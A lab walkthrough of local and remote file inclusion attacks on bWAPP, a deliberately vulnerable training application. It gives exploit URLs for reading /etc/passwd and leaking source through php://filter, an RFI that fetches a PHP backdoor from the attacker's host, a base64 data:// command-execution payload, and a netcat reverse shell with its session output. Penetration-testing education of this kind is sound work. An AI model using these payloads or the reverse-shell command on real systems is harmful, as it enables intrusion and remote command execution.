bWAPP Remote & Local File Inclusion (RFI/LFI)

In bWAPP There is a module for RFI and LFI injections. Our goal is to exploit these vulnerabilities and get local access to the remote machine.

Local File Include

http://192.168.56.101/bWAPP/rlfi.php?language=/etc/passwd&action=go

As you can see we successfully included the /etc/passwd file in to the web page. Our next task is getting the source code of the page using php filters.

http://192.168.56.101/bWAPP/rlfi.php?language=php://filter/convert.base64-encode/resource=rlfi.php&action=go

We got the source code in base64 format. All that is left to do is decode the base64 string and we can do that on the command line with the base64 utility

sam@ubuntu:~/Downloads$ echo "PD9waHAKCi8qCgpiV0FQUCwgb3IgYS..." | base64 -d

If we decode the base64 we get the following result.

include("security.php");
include("security_level_check.php");
include("functions_external.php");
include("selections.php");

$language = "";

if(isset($_GET["language"]))
{
    switch($_COOKIE["security_level"])
    {
        case "0" :
            $language = $_GET["language"];
            break;
        case "1" :
            $language = $_GET["language"] . ".php";
            break;
        case "2" :
            $available_languages = array("lang_en.php", "lang_fr.php", "lang_nl.php");
            $language = $_GET["language"] . ".php";
            // $language = rlfi_check_1($language);
            break;
        default :
            $language = $_GET["language"];         
            break;
    }
}

This is the source code to the page we got using php filters. It shows how the page should be configured depending on the security level set in the cookie.

Remote File Include

Remote file includes work on the same principle as Local file includes except that the resulting code to be included in the script is on a remote location. Here we will be using a simple php backdoor to include remotely for our web server we have setup.

http://192.168.56.101/bWAPP/rlfi.php?language=http://192.168.56.1/~sam/1.txt&action=go&cmd=ls

Another way to get a shell on a rfi is to use the data:// wrapper php provides us with. We simply encode our php code to be executed in base64 and append our string to the url

sam@ubuntu:~/Downloads$ echo "" | base64
PD9waHAgc3lzdGVtKFsnY21kJ10pOz8+Cg==
sam@ubuntu:~/Downloads$ 

We then wrap the base64 in a data:// string like so: data://text/plain;base64,PD9waHAgc3lzdGVtKFsnY21kJ10pOz8+Cg==

http://192.168.56.101/bWAPP/rlfi.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKFsnY21kJ10pOz8+Cg==&action=go&cmd=id

Here we used the php data wrapper in order to execute system commands on the remote host via RFI. if we append a '&cmd=' to the URL we can issue system commands on the remote host.

Getting a reverse connect shell is easy as you would just append the netcat command and execute. "nc -e /bin/sh 192.168.56.1 8088"

sam@ubuntu:~/Downloads$ nc -nvlp 8088
Listening on [0.0.0.0] (family 0, port 8088)
Connection from 192.168.56.101 46350 received!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bee-box:/var/www/bWAPP$